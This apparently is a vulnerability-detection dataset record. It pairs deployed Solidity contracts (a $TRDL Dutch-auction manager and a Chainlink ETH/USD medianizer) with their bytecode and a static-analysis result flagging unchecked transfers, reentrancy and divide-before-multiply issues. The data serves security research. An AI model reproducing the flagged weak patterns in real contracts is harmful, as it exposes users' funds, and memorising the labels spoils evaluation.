strudelPriceInEth.mul(1e18).div(vBtcPriceInEth); // auction off some $TRDL currentAuction = IDutchAuction( auctionFactory.deployDutchAuction( address(this), imbalance.div(strudelPriceInEth), // calculate imbalance in $TRDL now, now + auctionDuration, address(vBtc), vBtcAmount.mul(ACCURACY.add(priceSpan)).div(ACCURACY), // startPrice vBtcAmount.mul(ACCURACY.sub(priceSpan)).div(ACCURACY), // minPrice address(this) ) ); // if imbalance >= dillution bound, use max lock (52 weeks) // if imbalance < dillution bound, lock shorter lockTimeForAuction[address(currentAuction)] = gStrudel.intervalLength().mul(52).mul(imbalance).div(cap); } } function setSellThreshold(uint256 _threshold) external onlyOwner { require(_threshold >= 6000, "threshold below 60% minimum"); require(_threshold <= 12000, "threshold above 120% maximum"); sellThreshold = _threshold; } function setDulutionBound(uint256 _dilutionBound) external onlyOwner { require(_dilutionBound <= 1000, "dilution bound above 10% max value"); dilutionBound = _dilutionBound; } function setPriceSpan(uint256 _priceSpan) external onlyOwner { require(_priceSpan > 1000, "price span should have at least 10%"); require(_priceSpan < ACCURACY, "price span larger accuracy"); priceSpan = _priceSpan; } function setAuctionDuration(uint256 _auctionDuration) external onlyOwner { require(_auctionDuration >= 3600, "auctions should run at laest for 1 hour"); require(_auctionDuration <= 604800, "auction duration should be less than week"); auctionDuration = _auctionDuration; } function renounceMinter() external onlyOwner { strudel.renounceMinter(); } function swipe(address tokenAddr) external onlyOwner { IToken token = IToken(tokenAddr); token.transfer(strudel.owner(), token.balanceOf(address(this))); } // In deployDutchAuction, approve and transferFrom are called // In initDutchAuction, transferFrom is called again // In DutchAuction, transfer is called to either payout, or return money to AuctionManager function transferFrom(address, address, uint256) public pure returns (bool) { return true; } function approve(address, uint256) public pure returns (bool) { return true; } function transfer(address to, uint256 amount) public returns (bool success) { // require sender is our Auction address auction = msg.sender; require(lockTimeForAuction[auction] > 0, "Caller is not our auction"); // if recipient is AuctionManager, it means we are doing a refund -> do nothing if (to == address(this)) return true; uint256 blocks = lockTimeForAuction[auction]; strudel.mint(address(this), amount); strudel.approve(address(gStrudel), amount); gStrudel.lock(to, amount, blocks, false); return true; } }
0x608060405234801561001057600080fd5b506004361061012c5760003560e01c80638ea709f3116100ad578063a9059cbb11610071578063a9059cbb146102c7578063afe5475f146102f3578063b06cd7b2146102fb578063c99e1e4814610303578063cce7db58146103295761012c565b80638ea709f31461026057806398650275146102685780639c01bc3314610270578063a2c082991461028d578063a497e674146102aa5761012c565b80632d4310c0116100f45780632d4310c0146101e8578063313ce567146101f0578063496a698d1461020e57806370a0823114610232578063759b971c146102585761012c565b8063069a9c3014610131578063095ea7b3146101505780630cbf54c81461019057806318160ddd146101aa57806323b872dd146101b2575b600080fd5b61014e6004803603602081101561014757600080fd5b503561034f565b005b61017c6004803603604081101561016657600080fd5b506001600160a01b03813516906020013561044f565b604080519115158252519081900360200190f35b610198610458565b60408051918252519081900360200190f35b61019861045e565b61017c600480360360608110156101c857600080fd5b506001600160a01b038135811691602081013590911690604001356104d4565b6101986104dd565b6101f86104e3565b6040805160ff9092168252519081900360200190f35b610216610528565b604080516001600160a01b039092168252519081900360200190f35b6101986004803603602081101561024857600080fd5b50356001600160a01b0316610537565b61014e6105ba565b61014e6110f0565b61014e61150c565b61014e6004803603602081101561028657600080fd5b5035611623565b61014e600480360360208110156102a357600080fd5b5035611790565b61014e600480360360208110156102c057600080fd5b50356118e5565b61017c600480360360408110156102dd57600080fd5b506001600160a01b038135169060200135611a27565b610198611c5f565b610198611c65565b6101986004803603602081101561031957600080fd5b50356001600160a01b0316611c6b565b61014e6004803603602081101561033f57600080fd5b50356001600160a01b0316611c7d565b6004805460408051638da5cb5b60e01b8152905133936001600160a01b0390931692638da5cb5b92808201926020929091829003018186803b15801561039457600080fd5b505afa1580156103a8573d6000803e3d6000fd5b505050506040513d60208110156103be57600080fd5b50516001600160a01b031614610409576040805162461bcd60e51b8152602060048201819052602482015260008051602061216b833981519152604482015290519081900360640190fd5b6103e881111561044a5760405162461bcd60e51b81526004018080602001828103825260228152602001806121286022913960400191505060405180910390fd5b600155565b60015b92915050565b60035481565b600654604080516318160ddd60e01b815290516000926001600160a01b0316916318160ddd916004808301926020929190829003018186803b1580156104a357600080fd5b505afa1580156104b7573d6000803e3d6000fd5b505050506040513d60208110156104cd57600080fd5b5051905090565b60019392505050565b60005481565b6006546040805163313ce56760e01b815290516000926001600160a01b03169163313ce567916004808301926020929190829003018186803b1580156104a357600080fd5b600b546001600160a01b031681565b600654604080516370a0823160e01b81526001600160a01b038481166004830152915160009392909216916370a0823191602480820192602092909190829003018186803b15801561058857600080fd5b505afa15801561059c573d6000803e3d6000fd5b505050506040513d60208110156105b257600080fd5b505192915050565b600b546001600160a01b0316156108dc57600b60009054906101000a90046001600160a01b03166001600160a01b031663864333746040518163ffffffff1660e01b815260040160206040518083038186803b15801561061957600080fd5b505afa15801561062d573d6000803e3d6000fd5b505050506040513d602081101561064357600080fd5b5051610696576040805162461bcd60e51b815260206004820152601d60248201527f70726576696f75732061756374696f6e206861736e277420656e646564000000604482015290519081900360640190fd5b600b60009054906101000a90046001600160a01b03166001600160a01b0316635228733f6040518163ffffffff1660e01b8152600401600060405180830381600087803b1580156106e657600080fd5b505af19250505080156106f7575060015b6107f3576040516000815260443d1015610713575060006107b0565b60046000803e60005160e01c6308c379a081146107345760009150506107b0565b60043d036004833e81513d602482011167ffffffffffffffff82111715610760576000925050506107b0565b808301805167ffffffffffffffff8111156107825760009450505050506107b0565b8060208301013d86018111156107a0576000955050505050506107b0565b601f01601f191660405250925050505b806107bb57506107c1565b506107f3565b3d8080156107eb576040519150601f19603f3d011682016040523d82523d6000602084013e6107f0565b606091505b50505b60048054604080516370a0823160e01b81523093810193909352516000926001600160a01b03909216916370a08231916024808301926020929190829003018186803b15801561084257600080fd5b505afa158015610856573d6000803e3d6000fd5b505050506040513d602081101561086c57600080fd5b5051905080156108da576004805460408051630852cd8d60e31b8152928301849052516001600160a01b03909116916342966c6891602480830192600092919082900301818387803b1580156108c157600080fd5b505af11580156108d5573d6000803e3d6000fd5b505050505b505b6108e46110f0565b600754604080516361e25d8360e01b8152670de0b6b3a7640000600482015290516000926001600160a01b0316916361e25d83916024808301926020929190829003018186803b15801561093757600080fd5b505afa15801561094b573d6000803e3d6000fd5b505050506040513d602081101561096157600080fd5b5051600854604080516361e25d8360e01b8152670de0b6b3a7640000600482015290519293506000926001600160a01b03909216916361e25d8391602480820192602092909190829003018186803b1580156109bc57600080fd5b505afa1580156109d0573d6000803e3d6000fd5b505050506040513d60208110156109e657600080fd5b5051600954604080516361e25d8360e01b8152670de0b6b3a7640000600482015290519293506000926001600160a01b03909216916361e25d8391602480820192602092909190829003018186803b158015610a4157600080fd5b505afa158015610a55573d6000803e3d6000fd5b505050506040513d6020811015610a6b57600080fd5b5051600554604080516318160ddd60e01b815290519293506000926001600160a01b03909216916318160ddd91600480820192602092909190829003018186803b158015610ab857600080fd5b505afa158015610acc573d6000803e3d6000fd5b505050506040513d6020811015610ae257600080fd5b505160048054604080516318160ddd60e01b815290519394506000936001600160a01b03909216926318160ddd928282019260209290829003018186803b158015610b2c57600080fd5b505afa158015610b40573d6000803e3d6000fd5b505050506040513d6020811015610b5657600080fd5b5051600554604080516370a0823160e01b815230600482015290519293506000926001600160a01b03909216916370a0823191602480820192602092909190829003018186803b158015610ba957600080fd5b505afa158015610bbd573d6000803e3d6000fd5b505050506040513d6020811015610bd357600080fd5b5051928390039290506000610bf884610bec8989611e9c565b9063ffffffff611eb416565b90506000610c27612710610c1b88610bec60015489611eb490919063ffffffff16565b9063ffffffff611f1416565b9050610c338183611f56565b9150610c55612710610c1b6034610c1b60015489611eb490919063ffffffff16565b610c65838863ffffffff611f1416565b1015610c89575050600b80546001600160a01b0319169055506110ee945050505050565b6000610ca188610c1b8b61271063ffffffff611eb416565b600054909150610cbd90610c1b6127108063ffffffff611eb416565b811015610ed557610cdd84610cd8858b63ffffffff611f1416565b611f56565b9350610cfb87610c1b8a670de0b6b3a764000063ffffffff611eb416565b600554600a546040805163095ea7b360e01b81526001600160a01b03928316600482015260248101899052905193965091169163095ea7b3916044808201926020929091908290030181600087803b158015610d5657600080fd5b505af1158015610d6a573d6000803e3d6000fd5b505050506040513d6020811015610d8057600080fd5b5050600a546005546003546004546002546001600160a01b039485169463f952cc00948116938a934293918401921690610dda9061271090610c1b90610dcd90839063ffffffff611f6c16565b8d9063ffffffff611eb416565b610e07612710610c1b610dfa600254612710611fc690919063ffffffff16565b8e9063ffffffff611eb416565b604080516001600160e01b031960e08b901b1681526001600160a01b0398891660048201526024810197909752604487019590955260648601939093529416608484015260a483019390935260c48201929092523060e482015290516101048083019260209291908290030181600087803b158015610e8557600080fd5b505af1158015610e99573d6000803e3d6000fd5b505050506040513d6020811015610eaf57600080fd5b5051600b80546001600160a01b0319166001600160a01b039092169190911790556110e4565b610ef188610c1b89670de0b6b3a764000063ffffffff611eb416565b600a549094506001600160a01b031663f952cc0030610f16868b63ffffffff611f1416565b60035460055460025442928301916001600160a01b031690610f4b9061271090610c1b90610dfa90839063ffffffff611f6c16565b610f78612710610c1b610f6b600254612710611fc690919063ffffffff16565b8f9063ffffffff611eb416565b604080516001600160e01b031960e08b901b1681526001600160a01b0398891660048201526024810197909752604487019590955260648601939093529416608484015260a483019390935260c48201929092523060e482015290516101048083019260209291908290030181600087803b158015610ff657600080fd5b505af115801561100a573d6000803e3d6000fd5b505050506040513d602081101561102057600080fd5b5051600b80546001600160a01b0319166001600160a01b0392831617905560065460408051600162f4c03b60e01b0319815290516110c8938693610c1b938993610bec93603493169163ff0b3fc59160048083019260209291908290030181600087803b15801561109057600080fd5b505af11580156110a4573d6000803e3d6000fd5b505050506040513d60208110156110ba57600080fd5b50519063ffffffff611eb416565b600b546001600160a01b03166000908152600c60205260409020555b5050505050505050505b565b600760009054906101000a90046001600160a01b03166001600160a01b031663a2e620456040518163ffffffff1660e01b8152600401600060405180830381600087803b15801561114057600080fd5b505af1925050508015611151575060015b61124d576040516000815260443d101561116d5750600061120a565b60046000803e60005160e01c6308c379a0811461118e57600091505061120a565b60043d036004833e81513d602482011167ffffffffffffffff821117156111ba5760009250505061120a565b808301805167ffffffffffffffff8111156111dc57600094505050505061120a565b8060208301013d86018111156111fa5760009550505050505061120a565b601f01601f191660405250925050505b80611215575061121b565b5061124d565b3d808015611245576040519150601f19603f3d011682016040523d82523d6000602084013e61124a565b606091505b50505b600860009054906101000a90046001600160a01b03166001600160a01b031663a2e620456040518163ffffffff1660e01b8152600401600060405180830381600087803b15801561129d57600080fd5b505af19250505080156112ae575060015b6113aa576040516000815260443d10156112ca57506000611367565b60046000803e60005160e01c6308c379a081146112eb576000915050611367565b60043d036004833e81513d602482011167ffffffffffffffff8211171561131757600092505050611367565b808301805167ffffffffffffffff811115611339576000945050505050611367565b8060208301013d860181111561135757600095505050505050611367565b601f01601f191660405250925050505b806113725750611378565b506113aa565b3d8080156113a2576040519150601f19603f3d011682016040523d82523d6000602084013e6113a7565b606091505b50505b600960009054906101000a90046001600160a01b03166001600160a01b031663a2e620456040518163ffffffff1660e01b8152600401600060405180830381600087803b1580156113fa57600080fd5b505af192505050801561140b575060015b6110ee576040516000815260443d1015611427575060006114c4565b60046000803e60005160e01c6308c379a081146114485760009150506114c4565b60043d036004833e81513d602482011167ffffffffffffffff82111715611474576000925050506114c4565b808301805167ffffffffffffffff8111156114965760009450505050506114c4565b8060208301013d86018111156114b4576000955050505050506114c4565b601f01601f191660405250925050505b806114cf57506114d5565b50611507565b3d8080156114ff576040519150601f19603f3d011682016040523d82523d6000602084013e611504565b606091505b50505b6110ee565b6004805460408051638da5cb5b60e01b8152905133936001600160a01b0390931692638da5cb5b92808201926020929091829003018186803b15801561155157600080fd5b505afa158015611565573d6000803e3d6000fd5b505050506040513d602081101561157b57600080fd5b50516001600160a01b0316146115c6576040805162461bcd60e51b8152602060048201819052602482015260008051602061216b833981519152604482015290519081900360640190fd5b6004805460408051639865027560e01b815290516001600160a01b0390921692639865027592828201926000929082900301818387803b15801561160957600080fd5b505af115801561161d573d6000803e3d6000fd5b50505050565b6004805460408051638da5cb5b60e01b8152905133936001600160a01b0390931692638da5cb5b92808201926020929091829003018186803b15801561166857600080fd5b505afa15801561167c573d6000803e3d6000fd5b505050506040513d602081101561169257600080fd5b50516001600160a01b0316146116dd576040805162461bcd60e51b8152602060048201819052602482015260008051602061216b833981519152604482015290519081900360640190fd5b611770811015611734576040805162461bcd60e51b815260206004820152601b60248201527f7468726573686f6c642062656c6f7720363025206d696e696d756d0000000000604482015290519081900360640190fd5b612ee081111561178b576040805162461bcd60e51b815260206004820152601c60248201527f7468726573686f6c642061626f76652031323025206d6178696d756d00000000604482015290519081900360640190fd5b600055565b6004805460408051638da5cb5b60e01b8152905133936001600160a01b0390931692638da5cb5b92808201926020929091829003018186803b1580156117d557600080fd5b505afa1580156117e9573d6000803e3d6000fd5b505050506040513d60208110156117ff57600080fd5b50516001600160a01b03161461184a576040805162461bcd60e51b8152602060048201819052602482015260008051602061216b833981519152604482015290519081900360640190fd5b6103e8811161188a5760405162461bcd60e51b81526004018080602001828103825260238152602001806121056023913960400191505060405180910390fd5b61271081106118e0576040805162461bcd60e51b815260206004820152601a60248201527f7072696365207370616e206c6172676572206163637572616379000000000000604482015290519081900360640190fd5b600255565b6004805460408051638da5cb5b60e01b8152905133936001600160a01b0390931692638da5cb5b92808201926020929091829003018186803b15801561192a57600080fd5b505afa15801561193e573d6000803e3d6000fd5b505050506040513d602081101561195457600080fd5b50516001600160a01b03161461199f576040805162461bcd60e51b8152602060048201819052602482015260008051602061216b833981519152604482015290519081900360640190fd5b610e108110156119e05760405162461bcd60e51b81526004018080602001828103825260278152602001806121b46027913960400191505060405180910390fd5b62093a80811115611a225760405162461bcd60e51b815260040180806020018281038252602981526020018061218b6029913960400191505060405180910390fd5b600355565b336000818152600c6020526040812054909190611a8b576040805162461bcd60e51b815260206004820152601960248201527f43616c6c6572206973206e6f74206f75722061756374696f6e00000000000000604482015290519081900360640190fd5b6001600160a01b038416301415611aa6576001915050610452565b6001600160a01b038082166000908152600c60209081526040808320546004805483516340c10f1960e01b81523092810192909252602482018a90529251919592909216936340c10f1993604480850194919392918390030190829087803b158015611b1157600080fd5b505af1158015611b25573d6000803e3d6000fd5b505050506040513d6020811015611b3b57600080fd5b5050600480546006546040805163095ea7b360e01b81526001600160a01b0392831694810194909452602484018890525191169163095ea7b39160448083019260209291908290030181600087803b158015611b9657600080fd5b505af1158015611baa573d6000803e3d6000fd5b505050506040513d6020811015611bc057600080fd5b50506006546040805163137f24d360e31b81526001600160a01b03888116600483015260248201889052604482018590526000606483018190529251931692639bf9269892608480840193602093929083900390910190829087803b158015611c2857600080fd5b505af1158015611c3c573d6000803e3d6000fd5b505050506040513d6020811015611c5257600080fd5b5060019695505050505050565b60015481565b60025481565b600c6020526000908152604090205481565b6004805460408051638da5cb5b60e01b8152905133936001600160a01b0390931692638da5cb5b92808201926020929091829003018186803b158015611cc257600080fd5b505afa158015611cd6573d6000803e3d6000fd5b505050506040513d6020811015611cec57600080fd5b50516001600160a01b031614611d37576040805162461bcd60e51b8152602060048201819052602482015260008051602061216b833981519152604482015290519081900360640190fd5b6004805460408051638da5cb5b60e01b8152905184936001600160a01b038086169463a9059cbb94911692638da5cb5b92828101926020929190829003018186803b158015611d8557600080fd5b505afa158015611d99573d6000803e3d6000fd5b505050506040513d6020811015611daf57600080fd5b5051604080516370a0823160e01b815230600482015290516001600160a01b038616916370a08231916024808301926020929190829003018186803b158015611df757600080fd5b505afa158015611e0b573d6000803e3d6000fd5b505050506040513d6020811015611e2157600080fd5b5051604080516001600160e01b031960e086901b1681526001600160a01b03909316600484015260248301919091525160448083019260209291908290030181600087803b158015611e7257600080fd5b505af1158015611e86573d6000803e3d6000fd5b505050506040513d602081101561161d57600080fd5b600081831115611eaf5750808203610452565b500390565b600082611ec357506000610452565b82820282848281611ed057fe5b0414611f0d5760405162461bcd60e51b815260040180806020018281038252602181526020018061214a6021913960400191505060405180910390fd5b9392505050565b6000611f0d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612008565b6000818310611f655781611f0d565b5090919050565b600082820183811015611f0d576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6000611f0d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506120aa565b600081836120945760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612059578181015183820152602001612041565b50505050905090810190601f1680156120865780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385816120a057fe5b0495945050505050565b600081848411156120fc5760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315612059578181015183820152602001612041565b50505090039056fe7072696365207370616e2073686f756c642068617665206174206c656173742031302564696c7574696f6e20626f756e642061626f766520313025206d61782076616c7565536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f774f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657261756374696f6e206475726174696f6e2073686f756c64206265206c657373207468616e207765656b61756374696f6e732073686f756c642072756e206174206c6165737420666f72203120686f7572a26469706673582212205c827d2ad6902396b0be0f7f6942efe3b2d6aa14a859580c51c9b09e90f40e4564736f6c63430006060033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
1,334
0x6a4b575ba61d2fb86ad0ff5e5be286960580e71a
/** *Submitted for verification at Etherscan.io on 2021-02-14 */ pragma solidity 0.6.7; interface AggregatorInterface { event AnswerUpdated(int256 indexed current, uint256 indexed roundId, uint256 timestamp); event NewRound(uint256 indexed roundId, address indexed startedBy, uint256 startedAt); function latestAnswer() external returns (int256); function latestTimestamp() external returns (uint256); function latestRound() external returns (uint256); function getAnswer(uint256 roundId) external returns (int256); function getTimestamp(uint256 roundId) external returns (uint256); // post-Historic function decimals() external returns (uint8); function getRoundData(uint256 _roundId) external returns ( uint256 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint256 answeredInRound ); function latestRoundData() external returns ( uint256 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint256 answeredInRound ); } contract GebMath { uint256 public constant RAY = 10 ** 27; uint256 public constant WAD = 10 ** 18; function ray(uint x) public pure returns (uint z) { z = multiply(x, 10 ** 9); } function rad(uint x) public pure returns (uint z) { z = multiply(x, 10 ** 27); } function minimum(uint x, uint y) public pure returns (uint z) { z = (x <= y) ? x : y; } function addition(uint x, uint y) public pure returns (uint z) { z = x + y; require(z >= x, "uint-uint-add-overflow"); } function subtract(uint x, uint y) public pure returns (uint z) { z = x - y; require(z <= x, "uint-uint-sub-underflow"); } function multiply(uint x, uint y) public pure returns (uint z) { require(y == 0 || (z = x * y) / y == x, "uint-uint-mul-overflow"); } function rmultiply(uint x, uint y) public pure returns (uint z) { z = multiply(x, y) / RAY; } function rdivide(uint x, uint y) public pure returns (uint z) { z = multiply(x, RAY) / y; } function wdivide(uint x, uint y) public pure returns (uint z) { z = multiply(x, WAD) / y; } function wmultiply(uint x, uint y) public pure returns (uint z) { z = multiply(x, y) / WAD; } function rpower(uint x, uint n, uint base) public pure returns (uint z) { assembly { switch x case 0 {switch n case 0 {z := base} default {z := 0}} default { switch mod(n, 2) case 0 { z := base } default { z := x } let half := div(base, 2) // for rounding. for { n := div(n, 2) } n { n := div(n,2) } { let xx := mul(x, x) if iszero(eq(div(xx, x), x)) { revert(0,0) } let xxRound := add(xx, half) if lt(xxRound, xx) { revert(0,0) } x := div(xxRound, base) if mod(n,2) { let zx := mul(z, x) if and(iszero(iszero(x)), iszero(eq(div(zx, x), z))) { revert(0,0) } let zxRound := add(zx, half) if lt(zxRound, zx) { revert(0,0) } z := div(zxRound, base) } } } } } } abstract contract StabilityFeeTreasuryLike { function getAllowance(address) virtual external view returns (uint, uint); function systemCoin() virtual external view returns (address); function pullFunds(address, address, uint) virtual external; } contract IncreasingTreasuryReimbursement is GebMath { // --- Auth --- mapping (address => uint) public authorizedAccounts; function addAuthorization(address account) virtual external isAuthorized { authorizedAccounts[account] = 1; emit AddAuthorization(account); } function removeAuthorization(address account) virtual external isAuthorized { authorizedAccounts[account] = 0; emit RemoveAuthorization(account); } modifier isAuthorized { require(authorizedAccounts[msg.sender] == 1, "IncreasingTreasuryReimbursement/account-not-authorized"); _; } // --- Variables --- // Starting reward for the fee receiver/keeper uint256 public baseUpdateCallerReward; // [wad] // Max possible reward for the fee receiver/keeper uint256 public maxUpdateCallerReward; // [wad] // Max delay taken into consideration when calculating the adjusted reward uint256 public maxRewardIncreaseDelay; // [seconds] // Rate applied to baseUpdateCallerReward every extra second passed beyond a certain point (e.g next time when a specific function needs to be called) uint256 public perSecondCallerRewardIncrease; // [ray] // SF treasury StabilityFeeTreasuryLike public treasury; // --- Events --- event AddAuthorization(address account); event RemoveAuthorization(address account); event ModifyParameters( bytes32 parameter, address addr ); event ModifyParameters( bytes32 parameter, uint256 val ); event FailRewardCaller(bytes revertReason, address feeReceiver, uint256 amount); constructor( address treasury_, uint256 baseUpdateCallerReward_, uint256 maxUpdateCallerReward_, uint256 perSecondCallerRewardIncrease_ ) public { if (address(treasury_) != address(0)) { require(StabilityFeeTreasuryLike(treasury_).systemCoin() != address(0), "IncreasingTreasuryReimbursement/treasury-coin-not-set"); } require(maxUpdateCallerReward_ >= baseUpdateCallerReward_, "IncreasingTreasuryReimbursement/invalid-max-caller-reward"); require(perSecondCallerRewardIncrease_ >= RAY, "IncreasingTreasuryReimbursement/invalid-per-second-reward-increase"); authorizedAccounts[msg.sender] = 1; treasury = StabilityFeeTreasuryLike(treasury_); baseUpdateCallerReward = baseUpdateCallerReward_; maxUpdateCallerReward = maxUpdateCallerReward_; perSecondCallerRewardIncrease = perSecondCallerRewardIncrease_; maxRewardIncreaseDelay = uint(-1); emit AddAuthorization(msg.sender); emit ModifyParameters("treasury", treasury_); emit ModifyParameters("baseUpdateCallerReward", baseUpdateCallerReward); emit ModifyParameters("maxUpdateCallerReward", maxUpdateCallerReward); emit ModifyParameters("perSecondCallerRewardIncrease", perSecondCallerRewardIncrease); } // --- Boolean Logic --- function either(bool x, bool y) internal pure returns (bool z) { assembly{ z := or(x, y)} } // --- Treasury --- /** * @notice This returns the stability fee treasury allowance for this contract by taking the minimum between the per block and the total allowances **/ function treasuryAllowance() public view returns (uint256) { (uint total, uint perBlock) = treasury.getAllowance(address(this)); return minimum(total, perBlock); } /* * @notice Get the SF reward that can be sent to a function caller right now */ function getCallerReward(uint256 timeOfLastUpdate, uint256 defaultDelayBetweenCalls) public view returns (uint256) { bool nullRewards = (baseUpdateCallerReward == 0 && maxUpdateCallerReward == 0); if (either(timeOfLastUpdate >= now, nullRewards)) return 0; uint256 timeElapsed = (timeOfLastUpdate == 0) ? defaultDelayBetweenCalls : subtract(now, timeOfLastUpdate); if (either(timeElapsed < defaultDelayBetweenCalls, baseUpdateCallerReward == 0)) { return 0; } uint256 adjustedTime = subtract(timeElapsed, defaultDelayBetweenCalls); uint256 maxPossibleReward = minimum(maxUpdateCallerReward, treasuryAllowance() / RAY); if (adjustedTime > maxRewardIncreaseDelay) { return maxPossibleReward; } uint256 calculatedReward = baseUpdateCallerReward; if (adjustedTime > 0) { calculatedReward = rmultiply(rpower(perSecondCallerRewardIncrease, adjustedTime, RAY), calculatedReward); } if (calculatedReward > maxPossibleReward) { calculatedReward = maxPossibleReward; } return calculatedReward; } /** * @notice Send a stability fee reward to an address * @param proposedFeeReceiver The SF receiver * @param reward The system coin amount to send **/ function rewardCaller(address proposedFeeReceiver, uint256 reward) internal { if (address(treasury) == proposedFeeReceiver) return; if (either(address(treasury) == address(0), reward == 0)) return; address finalFeeReceiver = (proposedFeeReceiver == address(0)) ? msg.sender : proposedFeeReceiver; try treasury.pullFunds(finalFeeReceiver, treasury.systemCoin(), reward) {} catch(bytes memory revertReason) { emit FailRewardCaller(revertReason, finalFeeReceiver, reward); } } } contract ChainlinkPriceFeedMedianizer is IncreasingTreasuryReimbursement { // --- Variables --- AggregatorInterface public chainlinkAggregator; // Delay between updates after which the reward starts to increase uint256 public periodSize; // Latest median price uint256 private medianPrice; // [wad] // Timestamp of the Chainlink aggregator uint256 public linkAggregatorTimestamp; // Last timestamp when the median was updated uint256 public lastUpdateTime; // [unix timestamp] // Multiplier for the Chainlink price feed in order to scaled it to 18 decimals. Default to 10 for USD price feeds uint8 public multiplier = 10; // You want to change these every deployment uint256 public staleThreshold = 3; bytes32 public symbol = "ethusd"; // --- Events --- event UpdateResult(uint256 medianPrice, uint256 lastUpdateTime); constructor( address aggregator, address treasury_, uint256 periodSize_, uint256 baseUpdateCallerReward_, uint256 maxUpdateCallerReward_, uint256 perSecondCallerRewardIncrease_ ) public IncreasingTreasuryReimbursement(treasury_, baseUpdateCallerReward_, maxUpdateCallerReward_, perSecondCallerRewardIncrease_) { require(aggregator != address(0), "ChainlinkPriceFeedMedianizer/null-aggregator"); require(multiplier >= 1, "ChainlinkPriceFeedMedianizer/null-multiplier"); require(periodSize_ > 0, "ChainlinkPriceFeedMedianizer/null-period-size"); lastUpdateTime = now; periodSize = periodSize_; chainlinkAggregator = AggregatorInterface(aggregator); emit ModifyParameters(bytes32("periodSize"), periodSize); emit ModifyParameters(bytes32("aggregator"), aggregator); } // --- General Utils --- function both(bool x, bool y) internal pure returns (bool z) { assembly{ z := and(x, y)} } // --- Administration --- function modifyParameters(bytes32 parameter, uint256 data) external isAuthorized { if (parameter == "baseUpdateCallerReward") baseUpdateCallerReward = data; else if (parameter == "maxUpdateCallerReward") { require(data > baseUpdateCallerReward, "ChainlinkPriceFeedMedianizer/invalid-max-reward"); maxUpdateCallerReward = data; } else if (parameter == "perSecondCallerRewardIncrease") { require(data >= RAY, "ChainlinkPriceFeedMedianizer/invalid-reward-increase"); perSecondCallerRewardIncrease = data; } else if (parameter == "maxRewardIncreaseDelay") { require(data > 0, "ChainlinkPriceFeedMedianizer/invalid-max-increase-delay"); maxRewardIncreaseDelay = data; } else if (parameter == "periodSize") { require(data > 0, "ChainlinkPriceFeedMedianizer/null-period-size"); periodSize = data; } else if (parameter == "staleThreshold") { require(data > 1, "ChainlinkPriceFeedMedianizer/invalid-stale-threshold"); staleThreshold = data; } else revert("ChainlinkPriceFeedMedianizer/modify-unrecognized-param"); emit ModifyParameters(parameter, data); } function modifyParameters(bytes32 parameter, address addr) external isAuthorized { if (parameter == "aggregator") chainlinkAggregator = AggregatorInterface(addr); else if (parameter == "treasury") { require(StabilityFeeTreasuryLike(addr).systemCoin() != address(0), "ChainlinkPriceFeedMedianizer/treasury-coin-not-set"); treasury = StabilityFeeTreasuryLike(addr); } else revert("ChainlinkPriceFeedMedianizer/modify-unrecognized-param"); emit ModifyParameters(parameter, addr); } function read() external view returns (uint256) { require(both(medianPrice > 0, subtract(now, linkAggregatorTimestamp) <= multiply(periodSize, staleThreshold)), "ChainlinkPriceFeedMedianizer/invalid-price-feed"); return medianPrice; } function getResultWithValidity() external view returns (uint256,bool) { return (medianPrice, both(medianPrice > 0, subtract(now, linkAggregatorTimestamp) <= multiply(periodSize, staleThreshold))); } // --- Median Updates --- function updateResult(address feeReceiver) external { int256 aggregatorPrice = chainlinkAggregator.latestAnswer(); uint256 aggregatorTimestamp = chainlinkAggregator.latestTimestamp(); require(aggregatorPrice > 0, "ChainlinkPriceFeedMedianizer/invalid-price-feed"); require(both(aggregatorTimestamp > 0, aggregatorTimestamp > linkAggregatorTimestamp), "ChainlinkPriceFeedMedianizer/invalid-timestamp"); uint256 callerReward = getCallerReward(lastUpdateTime, periodSize); medianPrice = multiply(uint(aggregatorPrice), 10 ** uint(multiplier)); linkAggregatorTimestamp = aggregatorTimestamp; lastUpdateTime = now; emit UpdateResult(medianPrice, lastUpdateTime); rewardCaller(feeReceiver, callerReward); } } contract ChainlinkMedianETHUSD is ChainlinkPriceFeedMedianizer { constructor( address aggregator, uint256 periodSize, uint256 baseUpdateCallerReward, uint256 maxUpdateCallerReward, uint256 perSecondCallerRewardIncrease ) ChainlinkPriceFeedMedianizer(aggregator, address(0), periodSize, baseUpdateCallerReward, maxUpdateCallerReward, perSecondCallerRewardIncrease) public { symbol = "ETHUSD"; multiplier = 10; staleThreshold = 6; } }
0x608060405234801561001057600080fd5b50600436106102115760003560e01c8063552033c411610125578063a0871637116100ad578063dd2d2a121161007c578063dd2d2a12146104ee578063e4463eb214610511578063f238ffd214610519578063f752fdc31461053c578063fe4f58901461055f57610211565b8063a087163714610492578063c8f33c91146104b5578063d6e882dc146104bd578063da559f72146104e657610211565b80636614f010116100f45780636614f0101461042857806369dec276146104545780636a1460241461045c57806394f3f81d1461046457806395d89b411461048a57610211565b8063552033c41461040857806357de26a41461041057806361d027b314610418578063650452061461042057610211565b806335b28153116101a857806346f3e81c1161017757806346f3e81c1461035d578063495df0251461037a5780634fd0ada8146103a05780635004d36c146103c157806354f363a3146103e557610211565b806335b28153146102e75780633c8bb3e61461030f5780633ef5e4451461033257806343943b6b1461035557610211565b80631c1f908c116101e45780631c1f908c146102a95780632009e568146102b157806324ba5884146102b95780633425677e146102df57610211565b8063056640b714610216578063102134471461024b578063165c4a16146102685780631b3ed7221461028b575b600080fd5b6102396004803603604081101561022c57600080fd5b5080359060200135610582565b60408051918252519081900360200190f35b6102396004803603602081101561026157600080fd5b50356105a9565b6102396004803603604081101561027e57600080fd